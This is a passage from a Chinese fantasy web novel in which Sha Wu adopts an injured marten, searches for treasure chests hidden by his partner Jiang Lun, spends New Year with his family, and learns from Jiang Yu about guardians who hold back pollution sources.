沙伍一瞬间鸡皮疙瘩都起来了：“小车车，看看外面。” 小飞车给他投放了车门外的景象，并告诉他：“没关系，就是一只黄喉貂。没有异能的普通动物，没有危险。” “哪儿来的？哦，超大黄鼠狼。”沙伍看着监控画面，一下就想起来被自己从雪地里扒拉出来的小动物，“我还以为它死了。” “叽叽。” 沙伍打开门，对上站直的黄喉貂。 黄喉貂脑袋四肢和尾巴是黑色的，躯干是略深一点的柠檬黄，整个身体又粗又长，身体和尾巴形成一个近乎90度的直角，张嘴像是随时会开口向人讨封。 沙伍已经脑补“你看我是像人还是像神”。 哦，他的影视艺术修养课，好像还有个报告要写。 不知道能不能写民俗学和现在人类神话觉醒体之间的联系？ 啊，这个课题太大了。 神话物种，他现在能够写的就只有潘老师。 姜家的情况似乎不适合写，风阳羽这个半拉太阳神鸟似乎也不合适，独角兽就见过一面，不熟悉。 别人家的九级都好帅啊，为什么他们青龙学院的院长是只夜师傅？ 并没有说夜师傅不强的意思，就是吧……气质方面还可以提升。 黄喉貂扒拉了一下自己小小的圆耳朵，很有礼貌地叫了一声：“叽？” 沙伍回神，从它的小圆眼睛中看出礼貌问询：“请进。” 小飞车门关上，黄喉貂就待在车门口。 沙伍给它倒了一杯温水，又给了它一块肉。 黄喉貂小心翼翼地喝水吃肉。 吃完，它的身体应该是回温了，开始整理起自己的毛发。 一大缕一大缕的毛发掉落下来。 沙伍这才注意到它应该是受伤了，空气中有一丝丝的血腥味。 应该就是受伤的缘故，黄喉貂才会被冻僵，不然以这毛绒绒的程度，足以抵御更加寒冷的气温。 沙伍看了两眼就不管了，找出手环里的一部影片看了起来。 “叽叽。” 沙伍听到声音，回头一看，就见小家伙站在他身边，圆溜溜的眼睛看着他。 啊这…… “叽~” 沙伍试探性伸出一根手指，小家伙歪着脑袋就蹭了过来，比小粉的动作都熟练。 “外人对我献殷勤，都是有目的的，是有所求，不是真心喜欢我。”沙伍喃喃做着自我心理建设，一边拿出小药箱，开始给黄喉貂上药，然后顺势给它做了个简单的清理。 上完药的黄喉貂理所当然坐在了沙伍旁边，没一会儿就团起来开始睡觉。 风雪变小，沙伍今天的寻宝活动宣告中道崩殂。 他打开门，放黄喉貂出去。 黄喉貂把自己光秃秃刚上了药的腰腹给他看，圆圆的眼睛里水光盈盈：“叽叽~” 沙伍只能把它带回家。 小飞车启动升空。 黄喉貂显然有些害怕，悄咪咪挨到沙伍腿边，又慢慢把脑袋靠上去。 等到家的时候，黄喉貂已经在沙伍腿上睡成了一根面条，还是肚皮朝上的那种。 忙了一天回家的姜纶目瞪口呆：“刚送走了一只猫，又来了只大老鼠？” “这是黄喉貂，不是老鼠，是吃老鼠的。应该吃老鼠吧？”沙伍解释今天的遭遇，“大概是想跟着我养伤？” 姜纶捏着黄喉貂的后脖颈拎起来，仔细打量：“一只普通动物，倒是聪明。” 黄喉貂很快得到了一个属于自己的房间，有窝有暖气有食物有饮水，甚至还来了医生给它治疗。 黄喉貂就天天跟着沙伍在家里玩寻宝游戏，反正就一天天的在外面浪。 沙伍偶尔进城玩耍，它也要跟着，哄着沙伍给它买了很多玩具。 专门给异能者觉醒体做各种物品的店主，把一件年味很足的舞龙衣服递给沙伍，看沙伍很轻松地给黄喉貂穿上：“这小东西这么聪明，不知道的还以为是个小孩儿呢。” 他这家店的顾客，绝大多数是给自家萌娃打扮拍照的家长，没想到有一天会变成宠物商店。 沙伍也不想惯着，但是：“它太会了。” 毕竟是野生动物，沙伍带着它没有在外面停留太久，买完东西就上了飞车。 路过的人看到他抱着个穿舞龙衣服的小动物，以为是抱着个小孩儿的觉醒体。 这条街做的都是异能者的生意。 临近过年，有不少家长都是差不多的打扮，抱着的孩子本来就五花八门，集结了各种飞禽走兽，再一打扮，更是认不出谁是谁。 偶尔有家长盯着沙伍多看两眼：“咦？刚才经过那人是不是抱着只宠物？” 毕竟控制不住异能的小孩子，通常会把异能波动搅合得到处都是。 同行的人不感兴趣：“赶紧去取了衣服就回去了，晚上还要去爸妈那里拜年。” 沙伍走到附近的停车场，坐上飞车回家。 刚好薛春带着小粉回来寄养，人还没走，就看到沙伍教猫和黄喉貂舞龙舞狮。 薛春迟疑：“要不我还是把小粉带着吧？” 梁管家赶人：“你不是要去约会吗？带着个猫干嘛？” “带着猫，也不是不行。”说不定在女方那儿还是加分项，但一只……一株八级变异植物，好像惊悚会大于萌。 他还在犹豫，沙伍已经抱着黄喉貂，骑着粉龙飞了过来：“薛哥快去吧，约会不可以迟到哦。” 薛春犹犹豫豫走了。 沙伍目送薛春离开，很快就投入新一轮的寻宝游戏中。 姜纶每天都会在院子里藏一个宝箱，迄今为止，沙伍一个都没找到。 每天更新的地图上已经有好几个宝箱标记了。 沙伍认真研究地图，结合自己这几天对地形的探索，充满自信：“我对院子已经很熟悉了，我们的寻宝小队今天还加入了超级战力小粉，今天一定要把所有宝箱都找出来！” 黄喉貂发出高亢的声音附和：“叽叽！” 小粉变回猫，低头舔爪子。 沙伍戳了一下猫猫头：“小粉？” 小粉被戳到的耳朵往后一撇，过了一会儿才“喵”了一声，声音竟然只是粗犷，并没有之前刮耳朵那样难听。 梁管家看着他们坐上飞车离开，回头跟过年还待在家里的其他人笑：“跟看动画片似的。” 田书南也在围观：“这才是养孩子啊。比昭华和小纶要省心多了。” “小南，又在装大人了。”姚昭华突然出现，抬手就敲了田书南一记暴栗，“你都是我养大的，忘记自己几岁了是不是？” 田书南“哦”了一声，不以为意：“你都忙完了？” “嗯。也就过年这段时间忙一点，现在能够到处跑的九级太少了。听说风阳羽晋级到九级了？是人还是乌鸦？”姚昭华光着脚走去厨房，自己去拿饮料喝。 田书南的眼神略微迷茫：“我说不上来。” 姚昭华一口气喝光一整杯牛奶，才说道：“他人呢？” “应该和老爷在一起。” “哦。那让我爸操心去吧。”姚昭华对着后院的方向远眺，“小伍他们在玩什么呢？” “玩寻宝游戏呢。”梁管家一边说，一边挑了几个小飞车拍摄的片段给她看。 姚昭华看着沙伍跟小飞车吵架，跟黄喉貂玩耍：“真可爱啊。”想想又疑惑，“小伍都不出去跟朋友玩吗？他这个年纪的孩子，应该更喜欢和同龄人一起玩吧？” “小伍其实性子和小少爷差不多。你看他平时好像人缘很好，只要别人对他好，他跟谁都能嘻嘻哈哈的，实际上他不怎么喜欢跟外人打交道。这孩子喜欢干自己的事情，一个人锻炼学习，捕猎都更愿意去没人的地方。夜老师带着他们去无人岛，明明是把他们关起来，他们却开心得很。”梁管家想起来就觉得不知道该高兴还是该忧虑。 生蚝岛那种远离人烟的无人岛，就算发生了不可控的事情，夜鹭也能将损失降到最低。 损失包括重伤的夜鹭，被击杀的姜纶，以及在两名九级战斗下绝对不可能存活的沙伍。 偏偏姜纶和沙伍像是完全没察觉到危险，每次去生蚝岛都像是去度蜜月似的。 在姚昭华的感知中，哪怕隔着建筑物和遥远的距离，沙伍的一举一动也非常清晰。 少年把小……大胖猫放在飞车里，跟黄喉貂在雪地里打滚，看着就很活泼可爱，符合她对弟弟的一切幻想。 说着要去找宝箱的沙伍，这会儿却在河面上滑冰。 姚昭华看到的他在雪地里打滚，其实是他没掌握好平衡，直接栽雪里了。 他把自己从雪堆里拔出来，招呼小猫小貂小飞车过来，指着冰面大声宣布：“我要在这里打个洞，钓鱼！” 对于一个冒牌水系异能者，在冰面上打个洞，难度不高。 足有半臂长的圆柱体，被从河里面取出来的时候，没有捕猎压力的黄喉貂，第一时间就把冰柱抢走，推进雪地里玩。 原本不想待在冰天雪地室外的小粉，看了看又看了看，没忍住跟着扑了过去。 没一会儿，两个颜色鲜亮的小动物在在雪地上“战”成一团。 沙伍盘腿坐在厚实的冰面上，感觉风太大，给自己套了个泡泡，又在风口垒了一堵冰墙，一堵雪墙，然后对着胳膊粗的冰洞发呆：“忘记带钓鱼竿了啊！” 小鲨鱼抓鱼又不像小少爷，从来不用钓鱼竿，现在可咋整？ 这条河也不知道有多深。 他倒是不怕冷，就是万一水太浅了，他变成小鲨鱼下去直接搁浅了怎么办？ 他把泡泡沉浸水底，水中的世界在他脑海中逐渐变得清晰。 这种感觉有点类似于之前找蘑菇的时候，但又有点微妙的不同。 找蘑菇更多的是闻味，现在更像是冥想。 直径一公里的泡泡笼罩，冰面下的流水经过，过滤掉其中微乎其微的污染。 变异水生生物的感觉更加敏锐，哪怕没有污染也争先恐后涌来。 原本泡泡中稀疏的异能生物，很快变得热闹起来。 沙伍的目光没有焦点，却看到了流水中穿梭的鱼群。 他甚至能够透过鱼群，看到它们代表着的变异能量，像一颗颗小小的星星。 他突然感觉到河底有一颗格外明亮的星星。 异能鲨鱼潜入河里，没一会儿就带出一只拳头大的宝箱。 沙伍眨了眨眼：“这么小？” 小少爷是真皮，竟然藏在这种地方，怪不得他找了好几天，一个宝箱都没找到。 他就说他现在对地图已经熟悉了，绝对没有找错地方，本来还以为宝箱是在河流沿岸的某个地方。 宝箱打开，里面是一颗像砂糖橘大小的橙红色晶核。 他把晶核举起来，阳光透过晶核，折射出瑰丽的色彩。 “好漂亮~” 他从来没见过这么漂亮的晶核，一时间爱不释手，对着太阳看，放在手上看，放在冰面上看，放在雪里面看，拿着手环对着晶核拍了数不清的照片。 突然，河里鱼群像是受到了惊吓一般疯狂逃窜，瞬间不见了踪影，随之而来的是一股温和厚重又熟悉的力量。 沙伍回头一看：“姜纶，你不是上班去了吗？” 姜纶走下飞板，过去把趴在冰面上的沙伍拉起来：“我都下班了。梁伯说你在这儿待了一天？” “嗯？一天了？”沙伍打了个哈欠，站直伸了个懒腰，抖了抖腿，动作跟一旁的小粉一样。 姜纶看着一旁的猫和貂。 待机的小飞车瞬间启动，投放出一块光屏，上面是穿着舞龙衣服的黄喉貂猎了一头小鹿回来，然后和懒惰趴窝的小粉分享。 结果小粉一口下去，照例把自己的“牙齿”卡在肉里，然后就这么一直卡着，起码有四五个小时。 黄喉貂吃饱之后，就趴在猫身上。 两只小动物，一只比一只懒的样子。 沙伍过去把小粉的牙齿给解救了：“这是什么鹿？感觉个头好小。” 小粉软乎乎一条直接靠在沙伍怀里，黄喉貂也跟着软软一条挂在沙伍脖子上。 姜纶把已经差不多掏空的小鹿的尸体埋进土里：“小麂。” 沙伍看着土地像是融化了一样，无声陷落，吞噬掉小鹿的尸体，抗议：“你是这么藏宝箱的吧？怪不得我找不到。” 姜纶拉着他上小飞车：“你就说值不值得这么藏吧？” “值得！”沙伍把晶核放进宝箱里，关上之前再看一眼，“这个晶核超级好看！我要晚上抱着睡觉！” 姜纶立刻抗议：“晚上抱着我睡觉就好。” “哈哈哈！” 姜纶跟他商量：“大姐回来了。我们明天回青龙城？” “啊。大姐这么快就回来了？”沙伍这几天玩寻宝游戏都忘记了时间，看到手环有信号了，就点进家族群里瞅一眼，发现里面热热闹闹无数信息，还有好多照片，大概就工作最忙的沙肆还得今天晚上到青龙城，“明天跟我回去睡小房间？” “好啊。”姜纶眨眨眼，“让他们看看谁家臭小子拐走了他们的小弟。” “哈哈哈。哪有这么说自己的？” 探亲的礼物，梁管家早就准备好了。 这次回去青龙城，梁管家没跟着，黄喉貂也留在了家里。 本来小粉也得留在家里，但是小粉非得要跟着沙伍。 主要是薛春那边恋爱似乎很顺利，小粉猪不允许去当电灯泡，没有亲爸，只能选择后爸（bushi）。 后爸让它带娃。 小粉一脸懵地看着身边跟着自己一样四足着地的小胖娃，站起来不解：“喵？” 穿着一身大红新衣服的小胖娃跟着站起来，学舌：“喵？” 沙伍正在被沙妈妈撵得到处跑：“小粉，你跟桃桃玩啊。我去楼下送饺子。沙妈妈，我不热……不是，我不冷！” 姜纶揽住他的腰，给他换了一双室外的毛绒拖鞋：“这么穿就不冷了。好了，我们一起去。” 穿着短袖中裤，踩着一双毛绒拖鞋的沙伍就这么出了门。 尽管有厨房机器，一家人还是选择自己包饺子。 沙壹带着妻子邵雯，和刚满一岁的女儿邵桃桃是前两天到的，原本还以为会拘束，没想到一家人在一起特别热闹。 这种大家庭的氛围，和他的小家庭的氛围不一样。 他看沙伍和姜纶出门，看了看时间：“一会儿先煮一锅，我给二妹和二妹夫送去。” “行。也别太早煮。他们百货公司员工休息室的保鲜柜不怎么保温，太早送去一会儿冷了。”沙妈妈一半的注意力放在小粉和桃桃身上，想到现在还缺席的人，吩咐管家机器人，“去把沙叁叫起来。” “好的，沙妈妈。”管家机器人圆筒形的身体灵活移动到沙叁的房门口，直接开门进去，没一会儿就用机械臂捆着沙叁出来，“叫起来了。” 头发油腻胡子拉碴黑眼圈死人脸的沙叁：“……我是谁我在哪儿？” 管家机器人回答：“你是沙叁，是借宿在我们家的养兄。” 沙壹看到三弟这幅形象，简直眼睛疼：“快滚去把自己收拾干净，像什么样子！” 爸爸不允许丑东西出现在自己女儿面前。 邵桃桃好奇地看着有什么东西一闪而过：“猫猫？” 小粉趴下，长长叹气出一串粉色的花环。 猫猫什么都不知道，猫猫只想翻肚皮。 沙妈妈让沙伍去送饺子的邻居，是平时沙妈妈认识的感觉比较友善的几家。 大过年的，大家都挺高兴的。 沙伍和姜纶去送水饺，还收到了好几个红包，以及回礼的各种水果糕点。 他送完一圈，顺便下楼去拿送到的外卖。 姜纶诧异：“什么时候买的？”他应该和沙伍没分开过，怎么一点儿都没看见沙伍下单？“买的什么？” “海豹冰淇淋。这家超好吃的。”沙伍讨好地冲着姜纶亲了一下。 “好啦~过年特例啊。”小鲨鱼撒娇是跟黄喉貂学的吧？ 沙妈妈看着沙伍和姜纶一起拆红包吃零食，过了一会儿又自己去给邻居家的小朋友们送红包。 等沙妈妈回来，脑袋都耷拉的沙叁絮絮叨叨抗议：“沙妈妈，你怎么光叫我起床，不叫小肆？小肆还睡着呢。” 沙妈妈举起擀面杖，欣赏了一会儿养子故作惊悚的表情，心满意足放下：“那哪儿一样？小肆工作生活不规律，难得过年有几天假期，愿意睡就多睡一会儿。” 一家人在一起做饭看春晚逛灯会，沙伍在家里扎扎实实过了三天，等大年初一一大早，才跟姜纶一起又回去后土城。 后土城这边的氛围就没有青龙城的小家那么轻松了。 平时安安静静的楼内，此刻不能说人声鼎沸，也充满了各种各样的人和车辆。 十层以下几乎全是宾客。 光脚穿着洞洞鞋下车的沙伍都惊呆了：“好多人，怎么这么多人！” 姜纶拉着他直接回房：“都是过来拜年的，不用管他们。这几天晚上都会有宴会，闲着没事的话，可以去露个脸。” 沙伍听他这么说就放松下来：“那我去寻宝？” “行。你带着小粉一起去吧。梁伯应该给你准备好了小飞车。” 沙伍欢呼一声，直接用手环呼叫自己的专用小飞车。 和小飞车同时赶到的是黄喉貂，看到沙伍激动得不行，简直能在沙伍身上跑出一个马拉松：“叽叽叽。” 沙伍很快就带着猫和貂上了车：“目标是把所有宝箱都找出来！” “叽叽！” “……喵。” 话是这么说，实际找宝箱的过程不可能这么顺利。 姜纶埋藏宝箱的地点各种刁钻，且除了刚开始河底的那个还算显眼之外，其它的宝箱全都用了各种手段进行遮掩。 沙伍不得不先找到地图上埋藏宝箱的地点附近，接着就近修炼，不断提升自己对晶核的感应能力，才能艰难地捕捉到一丝气息。 捕捉到气息不算，他还得把宝箱从深埋的土壤里挖出来。 泡泡能够把水里面的东西拿出来，但是土里面的不行。 他现在吞噬异能和水系异能的水平还行，但怎么把自己的异能转化成土系异能？ 他对土系异能并不算一无所知，毕竟姜纶就有一半是土系。 只是姜纶平时很少动用土系异能，平时在海岛上学习，用的也是水系异能居多。 沙伍努力想了想，得出结论：“要你何用！” 黄喉貂抓了一只斑羚回来，小眼神受伤地看着沙伍：“叽？” 沙伍赶紧把黄喉貂一顿摸摸安慰：“不是说你。我们家小黄太能干了！” 黄喉貂放下猎物，站起来抱住沙伍的腿，仰头：“叽。” 第65章 镇守 沙伍白天在野地里浪，晚上当精致小少爷，被姜纶和姚昭华带着认识了一些人。 沙伍听着这些一个比一个唬人的名头，从惊讶兴奋，很快就变得麻木。 姜纶刚给他介绍了一个异能者家族，见沙伍的情绪不高，小声问：“刚才不是还很高兴吗？” 沙伍忍住一个哈欠，手上拿着祁大厨指定小鲨鱼饮品——白开水，同样小声回答：“仔细想想，跟学校里差不多。你想学校里老师们也都是七级八级，助教大部分都是五级六级。天赋高的年轻人，我们整个学院不都是吗？” “还真是。” 沙伍皱了皱鼻子，更加小声：“和老师、同学们交流起来，没那么多弯弯绕绕，也不用端着。” 那些恭维他的话，让他听着都冒鸡皮疙瘩，也不知道他们是怎么装作一脸真诚说出来的？ 姜纶笑他：“天天跟人争着当爸爸，端着爸爸的架子。” “那群忘恩负义的逆子！”找他要好吃的时候是一副嘴脸，等上课比试的时候又是另外一副嘴脸。 他想想班级里的氛围，突然对小少爷发出邀请：“你下学期要不要来一起上课？” 钻石小少爷认真思考了一下：“我去的话，那你们不都成孙子了嘛……啊。” 沙伍一口咬在他脖子上。 哎嘿，长高了就是好，不会咬脖子咬到衣领上。 突然想到现在是什么场合，他很快退开，脸色微微泛红：“我上楼去了。” “不是说要下楼拿点好吃的？”还以为今天晚上小鲨鱼能多陪他一会儿呢。 沙伍呲了呲牙：“早知道这样，还不如让机器人给我送房间里。”省得他换这么隆重的礼服，还得专人给他收拾造型，不够麻烦的。 他绝对不是为了找机会穿那些帅气的衣服。 可是那么精心准备的衣服，要是一次都不穿就被处理掉，多浪费啊，好歹穿一次。 沙伍勉强待了半小时，就回房去学习了。 他最近在琢磨怎么转化异能，只是过年期间不方便请教老师。 家里人不是放假了，就是非常忙，剩下一个姜纶毛用没有。 学不明白的沙伍换了衣服，踩着飞板进院子转换一下头脑。 今天晚上倒是难得的月明星稀。 月光照在雪地上，将整片森林都映出一片银蓝色。 没有风雪的阻挡，从高空往下看，河流的走向清晰。 他下意识拿出地图对照，重新确认宝箱的位置，准备等明天再仔细搜索。 地图上小小的宝箱标记，放在现实中就是一片不算太小的区域，具体被藏在哪里，还是得挖土。 黄毛果然都是坏小子！ 晚上大部分的鸟都睡了，整个森林都非常寂静。 沙伍飞过一个又一个山头，突然眼前一花，周围瞬间变得温暖、黑暗。 他还保持着控制飞板的姿势，没注意到已经站在了平地上，一个踉跄摔倒，趴在一个凉凉的带着一点硬度又有点柔软的物体上。 鱼鳞吗？ 他还没摸上去，就感觉底下的物体动了动，周围亮了起来。 这是一个比瑞云实验室更加巨大的山洞。 他压着的是一截金色的蛇尾巴尖。 “爸爸？” “小伍怎么来这儿了？”蛇尾巴尖抬着趴在上面的少年，一个转弯来到自己身前，“外面这会儿应该在办宴会吧？没有聊得来的同龄人吗？” 沙伍调整姿势，坐在尾巴上，仰头看着无比巨大的姜俣：“那些人太假了，跟他们说话不开心。爸爸妈妈平时住这里吗？” 比起设施相当现代化甚至有些科幻的瑞云实验室，这个更加巨大的山洞似乎只是一个山洞而已，几乎看不到生活设施。 姜俣笑笑：“是啊。晚上的森林不是很安全，你自己一个人还是尽量不要晚上出来。我看你平时带在身边的小猫挺好。” “您都看到了啊。”沙伍不好意思地晃了晃脚，“妈妈呢？” 姜俣指了指旁边的深潭：“她在下面。” 沙伍看了一眼平静地像镜面一样的水面，鼻子嗅了嗅：“怪怪的，没有味道，不像是水。” 姜俣笑得眼睛弯弯：“这是一重幻境，下面是更深的洞穴。” 哦，上面是客厅，下面是卧室……感觉有哪里不对。 沙伍仰头看着姜俣，眼睛里写满疑惑。 姜俣也不卖关子：“你应该看过一些小纶的书？” “嗯。”沙伍想了想说道，“很多跟教科书上的不太一样。” “我知道。一部分是刚开始产生异能的时候，一些太过粗浅的认知，没有现在的异能学习成体系；一部分就是一些‘故事’；一部分是不太好向公众传播的内容。像是你遇到过的那个清道夫，通过吃异能者提升自己的异能等级。这种知识要是向公众传播，显然会造成大问题。” 沙伍没想到连他遇到清道夫的事情，姜俣都知道，眨着眼睛一秒钟切换到听故事好奇宝宝的状态：“嗯。通过这种方法提升异能等级，会有什么后遗症吗？还有我想不通，变异生物不也一样有高阶的，为什么不吃变异生物，非得要吃人呢？” “你可以理解为吃什么补什么，吃人比吃变异生物的性价比高。这么做的人很少，目前为止就一个人通过这种极端方法达到九级。不过她很快就……后遗症什么的也无从得知。你要是去榕城，可以去看看那棵大榕树。大灾变的时候环境太恶劣了，全城的异能者都主动献祭了自己，为人类守住了一片天地。直到现在她还镇守着榕城的污染源。” 沙伍听着姜俣简单的三言两语，勾勒出一个让人头皮发麻的残酷年代。 “温榕……还活着？”这是一位同样载入史册的名字。 但在他学习的历史书上，记载的是温榕率领全城的异能战士，付出了惨痛的代价守卫住了城市。 关于温榕化身成榕树这一段，似乎是榕城居民的一个美好想象。 “应该算是还活着吧？毕竟是木系异能者，生命力非常坚韧，只是不知道还能不能有一天恢复意识。也许，她只是自己不想醒过来。”姜俣的声音中有着很多复杂的情绪，“后续的那些什么都不知道的，就为了提升自己的异能等级吃人的，看到一个杀一个。” 沙伍认真答应：“好的，爸爸。”想了想自己的情况，“我以后一定努力分辨人和变异生物，争取不乱咬人。” “噗。就你现在的一口小乳牙？”姜俣忍不住笑出声，“你的异能……等你以后成长起来就好了。” 沙伍又问：“镇守污染源？”他想着自己知道的少少的信息，大部分的九级都不能自由行动，姜俣和姚瑞云在距离家里这么近的地方，依旧很少露面，居住的环境绝对算不上好。 他的目光投向深潭，“这是污染源？” “是。你可以理解为一个火山口，必须时刻被镇压，才能安静下来，但是不可避免会散发出去一点热量，偶尔也会在别的地方出现一些破口。现在世界上的所有大城都是如此。但也因为火山口被长期镇压，人类才能安居乐业。”很危险，又无可奈何。 沙伍想象了一下万一哪一天有镇守的九级出了意外，那火山爆发……不敢想不敢想。 “青龙城镇守的是谁啊？”沙伍很好奇。 “夜珹。” 沙伍愣了一下，才反应过来：“院长？可是院长不是经常到处飞吗？” “他……比较特殊，很强。” “爸爸都说院长强，院长究竟有多强？”沙伍感觉以贫瘠的想象力，已经没法猜测院长的实力了，“之前听姜纶说，我还以为院长只比他强一点。” “呵，不好比。夜珹现在还是……”他顿了顿，“他的成长空间很大，对力量的控制力几乎没人能比得上。单纯说力量，小纶应该比夜珹要强一点，但是小纶没法控制自己……” “姜纶脑残。”一道声音突兀加入。 沙伍顺着声音看过去，招手：“鸦鸦！” 大乌鸦挂在墙壁上装了半天壁灯，飞下来抓起沙伍：“我把这小孩送回去。” 沙伍根本来不及反应，一眨眼就被大乌鸦扔在一楼大门口……的树上。 “我的飞板？” 大乌鸦已经飞得不见影子了。 家里的宴会还没结束，门内门外来来回回许多人。 他们就看着不久前还衣冠楚楚的精致小王子，光着脚从树上爬下来，都不知道该不该上前打招呼。 就在他们犹豫的几秒钟内，田书南已经出现在了沙伍面前：“鞋子呢？” “不知道什么时候掉的。”可能是掉在山洞里，也可能还没进山洞就掉了。 “好了，都几点了，赶紧回去睡。” 十七楼阳台上垂下一道粉色月季瀑布，大朵的粉色花朵包裹着沙伍，直接把他带回房间，留下一地馨香。 穿着简单衣裤，甚至光着脚的少年，在这一刻仿佛停留在众人的视网膜上，感觉比之前穿着礼服打扮精致的样子更让人震撼。 一群嘴上不说，但心里面对自己家族实力感到自信甚至倨傲的年轻人，更是久久无法回神。 有见识不多的人感叹：“好漂亮。” 异能者家族由于家族中大量的异能者，世代累积了大量的资源，以致于一些受宠但资质平庸的后辈，也能够有不错的异能等级。 但是这种用资源堆出来的等级不堪一击。 他们中的绝大部分，甚至一辈子都不会踏足污染区。 哪怕踏足污染区，也得有强悍的团队保护。 他们的所谓战斗只是摆出一种姿态，是纯粹的作秀。 这一刻，他们见识的浅薄暴露无遗。 “漂亮？”众人用一种没文化真可怕的眼神看向发出赞叹的人。 怎么会觉得漂亮？ 他们只觉得可怕，可怕到甚至连一句恭维的话都说不出来。 “不可能是八级吧？” “有没有可能是七级巅峰？” 猜测的声音发虚，飘飘的不知道究竟是谁在说话。 然后在众人仰望的目光下，收敛到17楼的月季花瀑布变成一只小动物，耳朵尖尖眼睛亮亮地往下探头张望，又一扭头跳下了阳台栏杆，看不见了。 “八级。”悬着的心终于死了。 在场自诩的历史悠久的异能者家族，都没多少有八级坐镇。 他们当然知道姜家很强，甚至外界讳莫如深的九级，姜家都有不止一个。 姜俣、姚瑞云、姚昭华，明面上就是三个实打实的九级。 姜俣和姚瑞云虽然已经很多年没有出现在人前，外界连说他们已经死了的都有，但只要异能到了八级，不用别人告诉，就能自己感应到一些让人毛骨悚然的能量波动。 另外姜家内部的这些大管家们，随随便便拉出去都是一群高阶。 更别说，姜家可不只是这一支，另外一支也不是没有九级。 哪怕谁都知道这两个姜不合，但一笔写不出两个姜字。 人家家庭内部矛盾，不代表会联合外人来对付自己家人。 万万没想到，连一株变异植物都能是八级。 “书上有过被人类驯服的八级变异植物的例子吗？” 书上只有各种被变异生物反噬的惨痛案例。 无论是那些惊才绝艳的木系异能战士，还是曾经风靡一时的驯兽师，几乎没有一个有好下场的。 “他们不会多了一个木系九级吧？”不然得是什么样的存在，才能让八级变异植物乖乖听话？ “沙伍？”毕竟八级变异植物在为沙伍提供服务。 “沙伍不是，他是明明白白的一级。”沙伍的资料在他还没有进入后土城的时候，他们就知道了。 沙伍的背景实在太容易调查。 “别多想了，对我们来说就是多了一位敬而远之的少爷。”一位穿着华贵的夫人说完，提起繁复的裙摆，重新走入室内。 对于姜家，她的态度一直都是保持尊敬就好。 大腿能抱则抱，抱不上也不要惹人厌烦。 这样一位少年人，不管是什么样的出身，现在既然已经加入了姜家，那么将来的前途必定不可限量。 八级是最基础的。 其他家的大家长也是差不多的态度。 二三十岁的小辈们或许还会对抱大腿不屑一顾，四五十岁就已经开始知道钻营，知道进退。 沙伍大概能知道这些人的想法，但更快学会了怎么当个姜家小少爷。 短期内，只要他的身份没有变化，那不管他是锦衣华服，还是光脚短裤，都是让人恭维的对象。 也可以说，外人对他的态度是褒是贬，其实一点都不重要。 长期来看，还是得看自己的实力。 总不能全家就他一个小废物吧？ 姜纶愿意养个小废物，他自己还不想当呢。 他在网上找了关于异能转化的视频课程，花了半天时间学会了把吞噬异能转化为别的异能。 姜纶看他一大早把自己关在异能练习室里，不敢打扰他学习，一直到中午看他出来，才问他：“怎么样？神功大成了没？” 沙伍听他说昨天晚上两个人看的片子里的台词，故作谦虚：“不能说大成，小成吧。”没有什么是伍哥学不会的！ 白天楼下还是很多人，沙伍没下楼去吃饭，叫了机器人把自己的饭菜端上来，跟姜纶一起在17楼的小餐厅吃的。 沙伍快速吃完，带上自己的猫儿子和貂闺女，开着小飞车直冲后院。 姜纶逃不掉，一年之中也就过年这段时间他必须在人前刷存在感，只能眼巴巴看着小鲨鱼出门撒欢，下到十楼找到姚昭华，趁着她会见客人的空当抱怨：“大姐，别人都当我没异能了，我在不在的不重要吧？” 姚昭华瞪了他一眼：“大过年的，别逼我抽你。”她喝了一口茶，缓了缓神，“我不管你怎么想，青龙城的责任迟早得交到你的手上。你不可能靠着自己一个人管理一座大城，必须和其他人进行合作。你现在自己是什么状态，自己不清楚？过年这样的场合不出席，外人会怎么想？” “他们会觉得我已经失去了家里的支持。”姜纶心里面是明白的，没法发挥出自己百分百的实力，一直是他的硬伤，“风阳羽还九级了。” 姚昭华冷笑：“你盯着他干嘛？人家脑子可比你清楚。现在连大爷爷那边都不知道这消息。” 姜纶抿了抿唇：“我知道。” “对了，还没来得及问你，这次去青龙城是不是见小伍的家里人了？感觉怎么样？”姚昭华想想觉得有些失礼，“我应该上门拜会一下的。” 提到这个，姜纶就不沮丧了：“沙妈妈他们都可喜欢我了~沙大哥、二姐、三哥，人都很好。就是普通家人的样子，没什么算计，正常过日子。” “那就好。”姚昭华感觉姜纶说话的样子越来越活泼了，想想他的年纪，觉得是件好事，问他，“小伍干嘛去了？” “找宝箱。我好像藏得太好了。”他准备礼物和藏宝箱花了很多心思。 但毕竟是礼物，要是因为沙伍找不到，最终没能送出去，那多尴尬啊。 “小伍玩得开心就好。”姚昭华觉得找不找得到的问题不大。 再说既然沙伍已经找到了第一个，找到剩下的不过是时间问题。 也太花时间了！ 沙伍额头冒汗，坐在小飞车送上的躺椅上：“不行，我得缓缓。” 根据夜鹭的钱包理论，他可以把“钱”花在水系异能上，也可以把“钱”花在火系以及别的系的异能上。 理论上，花钱的难度和金额都是差不多的。 但是，他花钱在水系上明显更加流畅，花在土系上，那比拿把铲子挖还累人。 伍哥会用铲子吗？ 不！ 他就非得用异能！ 冥想半小时，拱地10厘米。 一直到姜纶过来找人，沙伍还是不肯放弃。 姜纶都劝他：“不然你抠一下？” 箱子的盖子都已经浮出表面，埋在地里的部分顶多只有三厘米。 “我不！”这已经不是简单的找一个宝箱的事情了！ 这是意气之争！ 今天就算耗光他所有的力气，也必须用土系异能把这箱子给拱出来！ 沙伍抱住姜纶，猛地亲了上去。 姜纶猝不及防，但只愣了一瞬间，立马配合。 他就说，他的小鲨鱼肯定也想跟他在一起，一个人玩还是太寂寞了，肯定是想他了。 然后沙伍就无情地结束亲吻，推开他，用异能把箱子一下给拱出地面：“哎嘿！” 姜纶怔愣。 姜纶生气：“你把我当什么了？”备用充能晶核吗？ 沙伍一点不怕他生气：“当什么都得怪你自己干嘛把宝箱埋这么好。再说你现在身上都不那么香了，跟你亲一下吧，你每次反应都很大。” 小少爷对他的吸引力大幅度下滑。 姜纶瞬间泄气，又不甘：“这不是夜老师给布置的任务嘛。我也不是故意的。” 在夜鹭给他安排作业之前，他完全不相信自己能够在这么短的时间内达成收敛异能的目标，可能是对沙伍的欲望变相转移过去了？ 从各个角度，他都忍得相当艰辛。 姜纶委屈：“你都不心疼我。” 沙伍听他这么说，很想恶寒一下，但姜纶长得实在是太在他审美点上了，委屈巴巴的样子还真的让他忍不住心疼，把人推进小飞车里，自己坐到他身边，搂住了亲亲又摇摇：“好啦~” 姜纶本来就是想借机撒娇一下，抱住了沙伍对一旁虎视眈眈的黄喉貂呲牙笑：切~小样，知不知道谁是正宫？ 不是！ 他是沙伍的唯一，什么正宫不正宫的。 